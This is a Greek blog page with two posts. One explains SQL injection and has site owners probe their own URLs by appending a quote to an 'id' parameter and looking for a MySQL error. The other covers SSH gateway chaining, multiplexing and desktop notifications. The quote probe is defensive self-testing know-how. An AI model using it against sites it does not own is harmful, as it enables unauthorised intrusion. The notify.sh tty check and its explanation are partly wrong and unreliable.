Kατεβάσετε την εφαρμογή android του blog! DownLoad

FoulsCode: 2011-17

Translate

Πρόσφατα Σχόλια

Σύνολο αναρτήσεων

Είναι το web site σας ασφαλές σε SQL Injection επιθέσεις;

Written By Greek Port on Πέμπτη, 28 Ιουλίου 2016 | Ιουλίου 28, 2016




Σύμφωνα με το Wikipedia, το SQL injection είναι μια τεχνική κώδικα injection η οποία ‘εκμεταλλεύεται’ ένα αδύναμο σημείο ασφάλειας που λαμβάνει χώρα στο επίπεδο της βάσης δεδομένων μιας εφαρμογής.


Η ευπάθεια είναι παρούσα όταν η εγγραφή χρήστη έχει φιλτραριστεί λανθασμένα από χαρακτήρες ενσωματωμένους σε SQL statements ή η εγγραφή του χρήστη δεν είναι έντονα δακτυλογραφημένη και έτσι έχουμε ως αποτέλεσμα τη μη σωστή ‘εκτέλεση’ τους. Είναι ένα παράδειγμα μιας περισσότερο γενικότερης κατηγορίας αδύναμων σημείων που μπορεί να συμβεί όταν μια γλώσσα προγραμματισμού είναι μέσα σε μία άλλη. Tα SQL injection attacks είναι γνωστά κ ως SQL insertion attacks. Με απλούς όρους, ο εισβολέας μπορεί να δημιουργήσει μια συγκεκριμένη διεύθυνση URL στο πεδίο ενός website ή web application και να αποσπάσει σημαντικές πληροφορίες από τη βάση δεδομένων όπως το σχέδιο, το σχήμα της βάσης δεδομένων, τις δομές στήλης ή αρχεία τα οποία ενδέχεται να περιέχουν πολύ σημαντικές πληροφορίες, όπως ονόματα χρηστών και κωδικούς. Μια μελέτη δείχνει ότι πάνω από το 60% των web applications που χρησιμοποιούν δυναμικό περιεχόμενο είναι μάλλον ευάλωτα σ’αυτού του είδους την επίθεση. Για να ελέγξετε, αν το website ή το web application σας είναι επιρρεπές στην ‘επίθεση’ αυτή, ακολουθήστε τις απλές οδηγίες παρακάτω:

1. Βρείτε μια διεύθυνση URL στο website ή στο web application σας που μοιάζει με την παρακάτω μορφή:


http://www.yoursite.com/page.php?id=1




2. Έπειτα, τροποποιήστε τη διεύθυνση URL προσθέτοντας το σημείο » ‘ » χωρίς τα εισαγωγικά μπροστά ή πίσω από τον ακέραιο αριθμό. Ελέγξτε το παράδειγμα παρακάτω ως σημείο αναφοράς. Οποιοδήποτε από τα παραδείγματα που περιλαμβάνονται μπορούν να χρησιμοποιηθούν.


http://www.yoursite.com/page.php?id=1'

ή


http://www.yoursite.com/page.php?id='1

3. Τοποθετήστε την τροποποιημένη διεύθυνση URL στο browser σας και ελέγξτε το αποτέλεσμα. Θα υπάρξουν δύο διαφορετικά αποτελέσματα που θα έχουν παραχθεί. Το παραγόμενο αποτέλεσμα θα καθορίσει αν το website ή το web application σας που έχει ελεγχθεί είναι ευάλωτο ή όχι. Αν η σελίδα ‘φορτώσει’ χωρίς κάποιο σφάλμα τότε το website ή το web application σας είναι πιθανό να μην είναι ευάλωτο σε SQL injection attacks. Απ’την άλλη πλευρά, αν η σελίδα δείξει κάποιο σφάλμα όπως αυτό που περιλαμβάνεται ή οποιοδήποτε άλλο, τότε η σελίδα είναι ευάλωτη σ’αυτό το είδος της ‘επίθεσης’.

** SQL query failed ** You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'something' at line 8

Μόλις βρεθεί η σελίδα που έχει την ευπάθεια, μπορεί να απομονωθεί και να διορθωθεί. Παρακάτω υπάρχουν κάποιες πηγές που δείχνουν πως μπορούμε να αποτρέψουμε το SQL Injection Attack στα web applications.

How To: Protect From SQL Injection in ASP.NET

SQL Injection: How To Prevent Security Flaws In PHP / MySQL

How To Prevent PHP Website From SQL Injection

SQL Injection – How To Avoid It


Σημαντική σημείωση: Τροποποίηση και δοκιμή της διεύθυνσης URL δεν προκαλεί καμιά βλάβη στη βάση δεδομένων σας, αλλά θα πρότεινα να κάνετε ένα backup σ’όλα τα αρχεία και τη βάση δεδομένων σας πριν τη δοκιμή. Σε περίπτωση που κάτι πάει στραβά, θα μπορείτε να ανακτήσετε τις πληροφορίες σας απ’τα backups

via: www.web-resources.eu 
Ιουλίου 28, 2016 | 0 σχόλια | Διαβάστε περισσότερα

Η φιλική πλευρά του SSH [2]

Written By Greek Port on Κυριακή, 24 Ιουλίου 2016 | Ιουλίου 24, 2016




Νομίζετε ότι στο προηγούμενο μέρος εξαντλήσαμε όλες τις ευκολίες που παρέχει το SSH; Πιστεύετε ότι αυτό το πανίσχυρο εργαλείο δεν έχει τίποτε άλλο να μας προσφέρει; Μα, αν ίσχυε κάτι τέτοιο, το άρθρο που έχετε μπροστά σας δεν θα υπήρχε ;)

Στο άρθρο του προηγούμενου τεύχους εστιάσαμε σε ορισμένες λεπτομέρειες, που όταν τις γνωρίζει κανείς μπορεί να χειρίζεται τις συνδέσεις SSH με μεγαλύτερη άνεση. Επιπρόσθετα, εξετάσαμε μερικά σενάρια στα οποία η χρήση του SSH ενδέχεται ν’ αποδειχθεί πολύτιμη. Σε αυτό το άρθρο θα εξερευνήσουμε τις πιο προχωρημένες δυνατότητες του SSH, μελετώντας ένα ακόμα πιο περίπλοκο σενάριο. Για το τέλος θα αφήσουμε μερικές ακόμα ρυθμίσεις, που αναδεικνύουν την ευχρηστία και τη φιλικότητα αυτού του πανίσχυρου εργαλείου. Όμως ας αφήσουμε τις σάλτσες κι ας προχωρήσουμε ευθύς αμέσως στη μελέτη.

Φανταστείτε ένα σύνολο μηχανημάτων που βρίσκονται στο ίδιο τοπικό δίκτυο και βγαίνουν στο Internet μέσω ενός συγκεκριμένου μηχανήματος, που έχει το ρόλο router/gateway. Αυτή η τοπολογία δεν είναι καθόλου σπάνια κι ένα τέτοιο δίκτυο θα μπορούσε να βρίσκεται στο χώρο της δουλειάς, σε μια σχολή, σε κάποιο hacker space ή ακόμη και στο σπίτι μας. Αν υποθέσουμε ότι έχουμε πρόσβαση SSH σε όλα τα μηχανήματα του τοπικού δικτύου, πόσο εύκολο πιστεύετε ότι είναι να συνδεθούμε σε κάποιο από αυτά, ενώ είμαστε εκτός τοπικού δικτύου; Το συγκεκριμένο ερώτημα μοιάζει με εκείνο που απαντήσαμε στο τέλος του προηγούμενου άρθρου. Αυτή τη φορά όμως θα εξετάσουμε μια εντελώς διαφορετική λύση.

Προκειμένου να συνδεθούμε σε κάποιο μηχάνημα όταν είμαστε εκτός τοπικού δικτύου, λοιπόν, ένας τρόπος είναι να ακολουθήσουμε μια σχεδόν αυτονόητη διαδικασία δύο, τουλάχιστον, απλών βημάτων: α) να συνδεθούμε στη γραμμή εντολών του router και β) από εκεί να συνδεθούμε στο επιθυμητό μηχάνημα του τοπικού δικτύου. Αναρωτιέστε γιατί είπαμε ότι χρειάζονται τουλάχιστον δύο βήματα, τη στιγμή που θα μπορούσαν να υπάρχουν στον router μερικοί κανόνες port forwarding; Διότι αν το μηχάνημα στο οποίο θέλουμε να συνδεθούμε ανήκει σε κάποιο υποδίκτυο του τοπικού δικτύου, θα χρειαστεί να πραγματοποιήσουμε ένα πρόσθετο βήμα. Θα πρέπει να κάνουμε μια ενδιάμεση σύνδεση, προς το μηχάνημα που λειτουργεί ως gateway για το υποδίκτυο. Όπως αντιλαμβάνεστε, όσο αυξάνεται η πολυπλοκότητα του τοπικού δικτύου και το “βάθος” στο οποίο θέλουμε να φτάσουμε, αυξάνεται και το πλήθος των απαιτούμενων (ενδιάμεσων) συνδέσεων. Δεν χρειάζεται όμως να σκεφτόμαστε τόσο περίπλοκα σενάρια. Ακόμα και στην απλή περίπτωση των δύο βημάτων, είναι φανερό ότι η διαδικασία σύνδεσης θα καταντήσει εύκολα πολύ κουραστική. Ε, λοιπόν, το SSH μπορεί να απλοποιήσει μια τέτοια σύνδεση, απαλλάσσοντάς μας από την επανάληψη των ενδιάμεσων βημάτων *όσα* κι αν είναι αυτά. Κατά τα γνωστά, αρκεί να επέμβουμε στο αρχείο ρυθμίσεων (~/.ssh/config) και να προσθέσουμε λίγες γραμμές. Αν πιστεύετε ότι μας χτύπησε η καλοκαιρινή τεμπελιά και αναζητάμε μεθόδους για να πληκτρολογούμε λιγότερο, συνεχίστε να διαβάζετε και θα αλλάξετε γνώμη. Εκτός από άνεση και ταχύτητα, η τεχνική που θα περιγράψουμε προσφέρει και αυξημένη ασφάλεια.

Αλυσιδωτή διασύνδεση
Ας υποθέσουμε ότι θέλουμε να συνδεθούμε σ’ ένα μηχάνημα, που βρίσκεται στο τοπικό δίκτυο ενός εργαστηρίου της σχολής και έχει σαν hostname το lab-workstation3. Ας υποθέσουμε επίσης ότι το τοπικό δίκτυο του εν λόγω εργαστηρίου βγαίνει στον έξω κόσμο μέσω ενός server, στη δημόσια διεύθυνση του οποίου έχει αντιστοιχηθεί το informatics-lab.gr. Για να καταλήξουμε στη γραμμή εντολών του lab-workstation3, θα έπρεπε να συνδεθούμε πρώτα στον server του εργαστηρίου:


ssh informatics-lab.gr


Στη συνέχεια, από τη γραμμή εντολών του συγκεκριμένου μηχανήματος θα έπρεπε να δώσουμε:


ssh lab-workstation3


Φυσικά, για αυτές τις δύο συνδέσεις ενδέχεται να απαιτούνται διαφορετικά usernames, ενώ και οι SSH servers ενδέχεται ν’ ακούνε από διαφορετικές δικτυακές θύρες. Με άλλα λόγια, η διαδικασία σύνδεσης μπορεί να μην είναι τόσο απλή. Εξάλλου, ακόμη κι αν χρησιμοποιείται παντού η καθιερωμένη θύρα (port 22/TCP) κι έχουμε το ίδιο username σε όλα τα μηχανήματα (λέμε, τώρα), θα πρέπει να θυμόμαστε τα αντίστοιχα συνθηματικά. Πώς είπατε; Μπορούμε να χρησιμοποιήσουμε τη μέθοδο με το δημόσιο και το ιδιωτικό κλειδί; Αυτό θα μπορούσαμε να το κάνουμε για τη σύνδεση στο gateway, αλλά όχι και για τη σύνδεση στο μηχάνημα του τοπικού δικτύου. Για τη δεύτερη σύνδεση, βλέπετε, θα έπρεπε να αποθηκεύσουμε το ιδιωτικό μας κλειδί στον server της σχολής. Περιττό να πούμε ότι κάτι τέτοιο θα συνιστούσε τεράστιο σφάλμα! Όπως έχουμε ξαναπεί, τα ιδιωτικά κλειδιά πρέπει να φυλάσσονται πάντα με μεγάλη προσοχή και να μην κυκλοφορούν από εδώ κι από ‘κεί, για *κανένα* λόγο.



Ευτυχώς υπάρχει μια ασφαλέστερη λύση, που προσφέρει και μεγαλύτερη ευκολία. Αναφερόμαστε σε μια τεχνική που είναι γνωστή κι ως SSH chaining. Για την εφαρμογή της, αρκεί να ανοίξουμε το αρχείο ρυθμίσεων του SSH στον υπολογιστή μας (~/.ssh/config) και να προσθέσουμε τις ακόλουθες γραμμές:


Host lab-srv
HostName informatics-lab.gr
Port 34522
User pvar

Host lab-pc
ProxyCommand ssh -q lab-srv -W lab-workstation3:22
User spiral


Υποψιάζεστε τι πετυχαίνουμε με τα παραπάνω; Αρχικά δημιουργούμε ένα SSH alias, για την εύκολη σύνδεση στον server του εργαστηρίου της σχολής. Στη συνέχεια δημιουργούμε ένα ακόμα SSH alias, για τη σύνδεση στο μηχάνημα lab-workstation3. Το ενδιαφέρον εντοπίζεται στο δεύτερο alias, όπου αξιοποιούμε την επιλογή ProxyCommand. Με αυτή τη ρύθμιση ζητάμε από το SSH να μην πραγματοποιήσει τη σύνδεση αμέσως, αλλά αφού προηγουμένως εκτελέσει μια εντολή που καθορίζουμε εμείς. Όπως βλέπετε, η εντολή που επιλέξαμε είναι η ακόλουθη:


ssh -q lab-srv -W lab-workstation3:22


Με την εκτέλεση του παραπάνω πραγματοποιείται μια σύνδεση προς τον server της σχολής, μέσω της οποίας προωθούνται όλες οι επακόλουθες συνδέσεις στο μηχάνημα lab-workstation3. Τελικά, όταν χρησιμοποιούμε το δεύτερο SSH alias πραγματοποιείται αυτόματα μια βοηθητική σύνδεση προς τον server του εργαστηρίου, μέσω της οποίας προωθούμαστε στο μηχάνημα lab-workstation3. Έτσι, η σύνδεση SSH που επιχειρούμε μεταβιβάζεται αυτομάτως στο επιθυμητό μηχάνημα και χωρίς να χρειαστεί από μέρους μας κάποια πρόσθετη ενέργεια. Μετά από την προσθήκη των παραπάνω στο αρχείο ρυθμίσεων του SSH, η σύνδεσή μας στο μηχάνημα του εργαστηρίου θα μπορεί να επιτευχθεί με μία κίνηση:


ssh lab-pc


Αυτός ο τρόπος σύνδεσης είναι σαφέστατα πιο απλός και πιο γρήγορος. Όμως γιατί ισχυριστήκαμε ότι προσφέρει και περισσότερη ασφάλεια; Με τις ρυθμίσεις που παρουσιάσαμε, το σύστημά μας συνδέεται απευθείας στο μηχάνημα lab-workstation3. Μπορεί να μεσολαβεί μια βοηθητική σύνδεση, αλλά ο SSH client που τρέχει στο μηχάνημά μας, όπως και ο SSH server που εκτελείται στην άλλη άκρη, δεν το γνωρίζουν. Αυτό που πρέπει να κρατήσουμε εδώ είναι ότι η πιστοποίηση του χρήστη (authentication) πραγματοποιείται απευθείας ανάμεσα στα δύο συστήματα (το δικό μας και του εργαστηρίου). Επομένως, αρκεί να κατασκευάσουμε ένα ζεύγος κλειδιών και να εγκαταστήσουμε το δημόσιο στον server της σχολής καθώς και στο lab-workstation3. Το ιδιωτικό κλειδί θα βρίσκεται *μόνο* στο δικό μας μηχάνημα και η σύνδεση στα προαναφερθέντα συστήματα θα πραγματοποιείται κανονικότατα και με τη μέγιστη ασφάλεια.

Σημεία προσοχής
Στις ρυθμίσεις που παρουσιάσαμε προηγουμένως συνδυάσαμε τη λειτουργία ProxyCommand με μια άλλη λειτουργία του SSH, που ενεργοποιείται με την παράμετρο –W. Η σχετική γραμμή είχε ως εξής:


ProxyCommand ssh -q lab-srv -W lab-workstation3:22


Η παράμετρος –W εξασφαλίζει την προώθηση των επακόλουθων συνδέσεων και, στη συγκεκριμένη περίπτωση, το σημείο προορισμού είναι η θύρα 22 του συστήματος lab-workstation3. Αυτό βέβαια το είπαμε και προηγουμένως. Κάτι που δεν αναφέραμε είναι ότι η παράμετρος –W δεν διατίθεται στις παλιές εκδόσεις του OpenSSH, πριν από την 5.4. Επομένως, αν για κάποιο (απαράδεκτο) λόγο τα μηχανήματα διαθέτουν παλιές εκδόσεις του OpenSSH, η λύση που παρουσιάσαμε δεν θα λειτουργήσει. Στην περίπτωση που δεν είναι στο χέρι μας η αναβάθμισή τους, μπορούμε να πετύχουμε την προώθηση των επακόλουθων συνδέσεων με τη βοήθεια του netcat. Έτσι, η γραμμή με το ProxyCommand θα γίνει κάπως έτσι:


ProxyCommand ssh -q lab-srv nc –q0 lab-workstation3 22


Σημειώστε ότι η δικτυακή θύρα διακρίνεται πλέον με ένα χαρακτήρα κενού και όχι με την άνω-κάτω τελεία (colon). Παρεμπιπτόντως, η δικτυακή θύρα από την οποία ακούει ο SSH server του lab-workstation3 πρέπει να προσδιοριστεί ακριβώς εκεί όπου συμβαίνει η προώθηση και όχι σε ξεχωριστή γραμμή των ρυθμίσεων. Αν η προώθηση δεν γίνει σωστά, τότε όσες άλλες ρυθμίσεις κι αν συμπεριλάβουμε θα είναι περιττές. Για να μη σας κουράζουμε με άλλες περιγραφές, σκεφτείτε ότι αυτό θα δουλέψει κανονικά:


...
Host lab-pc
ProxyCommand ssh -q lab-srv -W lab-workstation3:32128
User spiral


Οι ακόλουθες ρυθμίσεις, όμως, θα αποτύγχαναν…


...
Host lab-pc
ProxyCommand ssh -q lab-srv -W lab-workstation3
User spiral
Port 32128


Η μέθοδος που παρουσιάσαμε θα μπορούσε να επεκταθεί πανεύκολα, για την αυτοματοποίηση περισσότερων συνδέσεων. Φανταστείτε την περίπτωση που θέλουμε να συνδεθούμε σ’ ένα μηχάνημα της δουλειάς, που βρίσκεται σε κάποιο υποδίκτυο, μέσα σε ένα άλλο υποδίκτυο του εταιρικού δικτύου. Χωρίς τον αυτοματισμό θα απαιτούνταν τέσσερις συνδέσεις: Μία προς το gateway ολόκληρου του δικτύου της δουλειάς, μία προς το gateway του πρώτου υποδικτύου, μία προς το gateway του “εμφωλευμένου” υποδικτύου και μία ακόμα προς το μηχάνημα-προορισμό. Όλα αυτά θα μπορούσαν να αυτοματοποιηθούν με ένα σύνολο ρυθμίσεων σαν το ακόλουθο:


Host work-gateway
HostName some-company-srv.gr
Port 34522
User pvar

Host rnd-subnet-gateway
ProxyCommand ssh -q work-gateway -W 192.168.1.100:32128
User pvar

Host devs-subnet-gateway
ProxyCommand ssh -q rnd-subnet-gateway -W 10.0.0.50:44156
User pvar

Host lab-pc
ProxyCommand ssh -q devs-subnet-gateway -W 192.168.1.27:2222
User spiral


Πριν προχωρήσουμε σε άλλα θέματα, αξίζει να αναφέρουμε μια ενδιαφέρουσα ιδέα. Μπορεί να σκεφτόσαστε ότι το σενάριο των αλλεπάλληλων συνδέσεων είναι αρκετά εξεζητημένο και ότι το τέχνασμα που παρουσιάσαμε είναι άχρηστο για εσάς. Ε, λοιπόν, υπάρχει ένας τρόπος να το αξιοποιήσουν σχεδόν όλοι, ακόμα κι αν δεν έχουν πρόσβαση σε εταιρικά δίκτυα, σε εργαστήρια κ.λπ. Σκεφτείτε την περίπτωση που συντηρείτε μερικά VPS, για διάφορες δουλειές ή και δοκιμές. Ένας ανορθόδοξος τρόπος να αυξήσετε την ασφάλειά τους θα ήταν να ρυθμίσετε κατάλληλα το firewall του καθενός, ώστε να δέχεται συνδέσεις SSH μόνον από ένα συγκεκριμένο VPS. Για παράδειγμα, αν έχετε τρεις servers με τα ονόματα VPS1, VPS2 και VPS3, θα μπορούσατε να τους ρυθμίσετε ώστε οι VPS2 και VPS3 να δέχονται συνδέσεις SSH μόνον από τον VPS1. Με αυτόν τον τρόπο, οι VPS2 και VPS3 θα είναι ελαφρώς πιο προστατευμένοι, ενώ εσείς θα μπορείτε να συνδεθείτε πανεύκολα, αξιοποιώντας την τεχνική που παρουσιάσαμε και το VPS1 ως ενδιάμεσο σκαλοπάτι. Ακόμα κι αν καταφέρει κανείς να εισβάλει στο VPS1, οι άλλοι δύο servers θα παραμείνουν ασφαλείς, αφού το ιδιωτικό κλειδί για τη σύνδεση θα βρίσκεται μόνο στο δικό σας μηχάνημα.

Ανακύκλωση
Με όλα τα κολπάκια που έχουμε δει ως τώρα, ενδέχεται να σας ανοίξαμε την όρεξη. Ακόμα κι αν μέχρι πρότινος δεν αξιοποιούσατε ιδιαίτερα τις συνδέσεις SSH, είναι πολύ πιθανό να αρχίσετε τώρα. Εμείς, για παράδειγμα, έχουμε αρχίσει ήδη να σκεφτόμαστε scripts που δημιουργούν αντίγραφα ασφαλείας σε απομακρυσμένα μηχανήματα, διανέμουν και διαχειρίζονται τον κώδικα που αναπτύσσουμε από κοινού με άλλους χρήστες, φροντίζουν για την αυτόματη ενημέρωση/αναβάθμιση των servers και πάει λέγοντας. Μη νομίζετε ότι υπερβάλλουμε. Η χρήση του SSH σε τέτοιες εργασίες προσφέρει αυξημένη ασφάλεια και αξιοπιστία. Το μόνο μειονέκτημα που θα μπορούσε να εντοπίσει κανείς αφορά στην επιβάρυνση του δικτύου και του συστήματος, που επιφέρει η διαρκής και αυτοματοποιημένη πραγματοποίηση συνδέσεων. Αυτή η επιβάρυνση είναι αμελητέα όταν πραγματοποιούμε συνδέσεις προς μηχανήματα του ίδιου τοπικού δικτύου, αλλά αρχίζει να γίνεται αισθητή όταν συνδεόμαστε σε απομακρυσμένα συστήματα, με περιορισμένους πόρους και αργή σύνδεση.

Το SSH προσφέρει μια αποδοτική λύση γι’ αυτό το πρόβλημα, που ακούει στο όνομα SSH multiplexing. Με απλά λόγια, πρόκειται για τη διατήρηση των συνδέσεών μας στο υπόβαθρο του συστήματος, ακόμα και όταν ζητάμε τον τερματισμό τους. Όταν επιχειρούμε μια σύνδεση που είχαμε πραγματοποιήσει νωρίτερα, η εγκαθίδρυσή της πραγματοποιείται σχεδόν ακαριαία! Στην πραγματικότητα δεν δημιουργείται νέα σύνδεση, αλλά ενεργοποιείται και επιστρέφει στο προσκήνιο η παλιά. Κι αν για κάποιο λόγο ζητήσουμε τη δημιουργία μιας πρόσθετης σύνδεσης με τα ίδια χαρακτηριστικά, το SSH θα αξιοποιήσει τα αποθηκευμένα δεδομένα ώστε να παρακάμψει αρκετά στάδια της αρχικοποίησης της σύνδεσης. Με αυτόν τον τρόπο, η δημιουργία συνδέσεων που είχαν πραγματοποιηθεί και νωρίτερα επιταχύνεται σε μεγάλο βαθμό. Προκειμένου να ενεργοποιήσουμε το σχετικό μηχανισμό, πρέπει πρώτα να δημιουργήσουμε έναν κατάλογο για την αποθήκευση των δεδομένων των συνδέσεων:


mkdir ~/.ssh/tmp
chmod 700 ~/.ssh/tmp


Αμέσως μετά τη δημιουργία είναι φρόνιμο να τροποποιήσουμε τα δικαιώματα πρόσβασης. Όπως βλέπετε, απαγορεύουμε κάθε ενέργεια στους υπόλοιπους χρήστες και επιτρέπουμε τα πάντα για το δικό μας λογαριασμό και μόνο. Αυτό το κάνουμε γιατί τα αρχεία που θα τοποθετούνται στο συγκεκριμένο κατάλογο θα περιλαμβάνουν κρίσιμα δεδομένα για τις συνδέσεις μας κι εν δυνάμει ευαίσθητα. Στη συνέχεια μπορούμε να ανοίξουμε το αρχείο ρυθμίσεων (~/.ssh/config) και να ενεργοποιήσουμε την “ανακύκλωση”, προσθέτοντας τις ακόλουθες γραμμές:


Host *
ControlMaster auto
ControlPath ~/.ssh/tmp/%h-%r-%p
ControlPersist 900


Το ControlPath προσδιορίζει τη θέση και τη μορφή των ονομάτων των αρχείων που δημιουργούνται για κάθε σύνδεση. Τα %h, %r και %p αντικαθίστανται αυτόματα από το όνομα του μηχανήματος στο οποίο έχουμε συνδεθεί, το username που χρησιμοποιήσαμε για τη σύνδεση και τη δικτυακή θύρα του απομακρυσμένου συστήματος. Έτσι, εξασφαλίζουμε ότι τα αρχεία που δημιουργούνται έχουν μοναδικά ονόματα, που προσδιορίζουν πλήρως την εκάστοτε σύνδεση. Το μέγεθος ControlPersist αποτελεί το χρονικό διάστημα κατά το οποίο θα διατηρείται στο δίσκο κάθε ανενεργή σύνδεση. Η μονάδα μέτρησης που υπονοείται είναι τα δευτερόλεπτα και κατ’ επέκταση, η τιμή που φαίνεται παραπάνω (900) αντιστοιχεί σε 15 λεπτά. Η επιλογή αυτής της τιμής πραγματοποιήθηκε αυθαίρετα και μπορείτε να την προσαρμόσετε ελεύθερα, ανάλογα με τη φύση των εργασιών σας. Πάντως, επειδή τα δεδομένα που αποθηκεύονται στο δίσκο είναι κρίσιμα, είναι φρόνιμο να μην τα διατηρούμε περισσότερο απ’ όσο χρειάζεται.

Αυτό ήταν όλο! Στο εξής, οι συνδέσεις SSH που πραγματοποιούμε συχνά –όπως και εκείνες που γίνονται σε τακτά χρονικά διαστήματα από τα σκριπτάκια μας–, θα μοιάζουν να εγκαθιδρύονται ακαριαία.

Έξυπνες ειδοποιήσεις
Στο ξεκίνημα του άρθρου κάναμε τη σιωπηρή παραδοχή ότι θα εργαστούμε στο Linux. Αν και όλες οι διανομές περιλαμβάνουν κάποιο παραθυρικό περιβάλλον, μέχρι στιγμής έχουμε εξετάσει κολπάκια και τεχνικές που εφαρμόζονται από τη γραμμή εντολών ενός τερματικού. Κάτι τέτοιο ήταν αναμενόμενο, αφού η κονσόλα προσφέρει μακράν περισσότερη ευελιξία. Αποφασίσαμε μολαταύτα να παρουσιάσουμε μια απλή τεχνική, που κατά κάποιον τρόπο φέρνει τις συνδέσεις SSH στο περιβάλλον γραφικών. Εντάξει, όχι τις ίδιες τις συνδέσεις, αλλά τις σχετικές ειδοποιήσεις (notifications). Για παράδειγμα, φανταστείτε την εμφάνιση μιας ειδοποίησης κάθε φορά που ένα script συνδέεται σε κάποιο μηχάνημα με σκοπό να δημιουργήσει αντίγραφα εφεδρείας. Για να πετύχουμε κάτι τέτοιο, θα επιστρατεύσουμε ένα εργαλείο της γραμμής εντολών που ονομάζεται notify-send. Στις διανομές που βασίζονται στο Debian, το εν λόγω πρόγραμμα βρίσκεται στο πακέτο libnotify-bin. Αν δεν υπάρχει ήδη στο σύστημά μας, μπορεί να εγκατασταθεί ως εξής:


sudo apt-get install libnotify-bin


Το ίδιο πρόγραμμα, στο openSUSE και στις συγγενικές διανομές βρίσκεται στο πακέτο libnotify-tools και η εγκατάστασή του πραγματοποιείται εξίσου εύκολα (sudo zypper install libnotify-tools). Αφού εξασφαλίσουμε ότι το notify-send λειτουργεί κανονικά, μπορούμε να προχωρήσουμε στην κατάλληλη ρύθμιση του SSH. Αφού ανοίξουμε και πάλι το αρχείο ρυθμίσεων (~/.ssh/config), αρκεί να προσθέσουμε τα εξής:


Host *
PermitLocalCommand yes
LocalCommand ~/bin/notify.sh %h %r


Σημειώστε ότι αν το αρχείο ρυθμίσεων περιλαμβάνει ήδη ένα μπλοκ για όλες τις συνδέσεις (Host *), δεν χρειάζεται να δημιουργήσετε και πρόσθετο (δεν θα ήταν κομψό). Αντίθετα, στο υπάρχον μπλοκ μπορείτε να προσθέσετε τις ρυθμίσεις που φαίνονται παραπάνω. Η λειτουργία LocalCommand προβλέπει την εκτέλεση μιας “εντολής” τοπικά (στο δικό μας μηχάνημα), κάθε φορά που πραγματοποιείται μια σύνδεση. Στη συγκεκριμένη περίπτωση η εντολή που καθορίσαμε είναι το script ονόματι notify.sh, που βρίσκεται μέσα στο home directory του λογαριασμού μας και στον κατάλογο bin. Τα μεγέθη %h και %r αντικαθίστανται αυτόματα από το όνομα του εκάστοτε server κι από το όνομα του user account στο απομακρυσμένο σύστημα. Τελικά, κάθε φορά που θα πραγματοποιείται μια σύνδεση SSH, θα εκτελείται αυτόματα το σκριπτάκι notify.sh με παραμέτρους το hostname του server και το username που χρησιμοποιήθηκε για τη σύνδεση.

Νομίζουμε ότι σ’ αυτό το στάδιο έχετε καταλάβει πώς λειτουργεί το συστηματάκι μας. Το notify.sh αποτελεί ένα script δικής μας κατασκευής, τα οποίο επιστρατεύει το πρόγραμμα notify-send για να εμφανίζει ειδοποιήσεις στην επιφάνεια εργασίας. Φυσικά, η εμφάνιση μιας ειδοποίησης για *κάθε* σύνδεση SSH θα ήταν περιττή και εκνευριστική. Επομένως, το notify.sh οφείλει να κάνει κάποιο φιλτράρισμα και να εμφανίζει ειδοποιήσεις μόνο για τις συνδέσεις που παρουσιάζουν ξεχωριστό ενδιαφέρον. Δείτε τη δική μας εκδοχή για το script, για να πάρετε μια ιδέα:


#!/bin/bash

hostname=$1;
username=$2;
title="SSH connection";
body="A new connection to $hostname as $username has been established";
level="low";
icon="/usr/share/icons/gnome/32x32/emblems/emblem-system.png";

[ ! $(tty -s) ] && notify-send -u "$level" -i "$icon" "$title" "$body";


Ο προγραμματισμός για το κέλυφος BASH ξεφεύγει από το σκοπό του άρθρου, όμως δεν θα δυσκολευτείτε να κατανοήσετε τι συμβαίνει. Οι μεταβλητές hostname και username παίρνουν τις τιμές τους από τις δύο παραμέτρους που παρέχονται στο script κατά την εκτέλεσή του (θυμηθείτε τα μεγέθη %h και %r, που επιστρατεύσαμε στον ορισμό του LocalCommand, μέσα στο αρχείο ρυθμίσεων του SSH). Στη συνέχεια ορίζουμε τέσσερις ακόμα μεταβλητές, που αργότερα χρησιμοποιούνται ως παράμετροι για την εκτέλεση του notify-send. Πιστεύουμε ότι η αποστολή καθεμίας από αυτές είναι αυτονόητη. Θα σας προτείναμε ωστόσο να ρίξετε μια ματιά στο manual page του notify-send, για να κατανοήσετε πλήρως τη λειτουργία του.

Ιδιαίτερο ενδιαφέρον παρουσιάζει η τελευταία γραμμή του κώδικα. Σκεφτείτε ότι το notify.sh εκτελείται στο ίδιο κέλυφος από το οποίο πραγματοποιήθηκε και η αντίστοιχη σύνδεση SSH. Αν αυτό το κέλυφος είναι διαδραστικό (interactive), συμπεραίνουμε ότι η σύνδεση πραγματοποιήθηκε χειροκίνητα (δηλαδή από το χρήστη). Αντίθετα, αν το κέλυφος δεν είναι διαδραστικό (non-interactive), συμπεραίνουμε ότι η σύνδεση πραγματοποιήθηκε από κάποιο script, στο υπόβαθρο. Ο έλεγχος με τον οποίο ξεκινά η τελευταία γραμμή του κώδικα, τσεκάρει ακριβώς αυτό: Αν το notify.sh εκτελείται μέσα σε διαδραστικό κέλυφος ή όχι. Ουσιαστικά, ελέγχουμε αν η αντίστοιχη σύνδεση πραγματοποιήθηκε από το χρήστη ή από κάποιο script. Ο έλεγχος πραγματοποιείται τσεκάροντας την τιμή που επιστρέφει το πρόγραμμα tty (η παράμετρος –s εξασφαλίζει ότι δεν θα τυπωθεί κανένα μήνυμα). Αν αυτή η τιμή είναι μηδέν, το κέλυφος είναι non-interactive. Αν η τιμή είναι μη μηδενική, το κέλυφος είναι interactive. Παρατηρείστε ότι το αποτέλεσμα του σχετικού ελέγχου αντιστρέφεται, με τη χρήση του τελεστή NOT (ο χαρακτήρας του θαυμαστικού). Τελικά, με αυτό το κολπάκι εξασφαλίζουμε ότι θα εμφανίζονται ειδοποιήσεις μόνο για τις συνδέσεις που πραγματοποιούνται από τα διάφορα scripts, στο background. Αν το καλοσκεφτείτε, κάτι τέτοιο είναι απόλυτα λογικό. Η εμφάνιση ειδοποιήσεων για τις συνδέσεις που πραγματοποιούμε μόνοι μας θα ήταν περιττή και ενοχλητική.

Ο κώδικάς που γράψαμε για το notify.sh απέχει από το να είναι ολοκληρωμένος. Καταρχάς, δεν πραγματοποιεί κανέναν έλεγχο για το πλήθος των παραμέτρων, ούτε τσεκάρει για την ύπαρξη του notify-send. Εξάλλου, θα μπορούσε να πραγματοποιεί και πιο έξυπνους ελέγχους (π.χ., σε ποιο μηχάνημα έγινε η σύνδεση και με ποιον λογαριασμό), ώστε να εμφανίζει πιο εύστοχες και κατατοπιστικές ειδοποιήσεις. Γενικότερα, ο κώδικας για το notify.sh είναι γραμμένος πρόχειρα και δεν θα πρέπει να τον χρησιμοποιήσετε ως έχει.



